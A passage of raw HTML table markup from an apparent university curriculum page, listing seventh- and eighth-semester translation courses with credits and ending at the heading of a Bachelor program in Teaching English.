0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 380</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation\r\n  of Oil and Gas Materials (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENG</strong><strong>L 326</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>British Studies </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>15</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>VII\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <p><strong>VIII\r\n  semester (Spring)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 420</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Documentation\r\n  and Terminology Studies (4 hours)</strong><strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Internship</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>TRN 480</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>CAT\r\n  Tools translation</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN\r\n  410</strong></p>\r\n  <p><strong>TRN\r\n  490</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Proverbs.\r\n  Sayings. Idioms (4 hours)</strong></p>\r\n  <p><strong>Audio-visual translation (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 420</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Economic translation (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 460</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Oral translation &nbsp;&nbsp;(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 440</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Consecutive translation and note\r\n  taking techniques (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 425</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation of literary texts (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN\r\n  400</strong></p>\r\n  <p><strong>ENGL 212</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Translation\r\n  of Mass Media Materials </strong></p>\r\n  <p><strong>(4\r\n  hours)</strong></p>\r\n  <p>Current Events </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 465</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Sight Translation </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 450</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Social-Political Translation (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>    <h3 style=\"text-align:center\"><strong><span style=\"line-height:115%\" lang=\"EN-US\">School\r\nof Education</span></strong></h3><h3 style=\"text-align:center\"><strong>Curriculum</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Bachelor\r\nprogram in Teaching English (132 credits)</strong></h3>\r\n<p style=\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\" =\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<table width=\"1087\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"85\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"268\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td width=\"56\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"76\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:solid=\"\" black=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"311\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"72\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  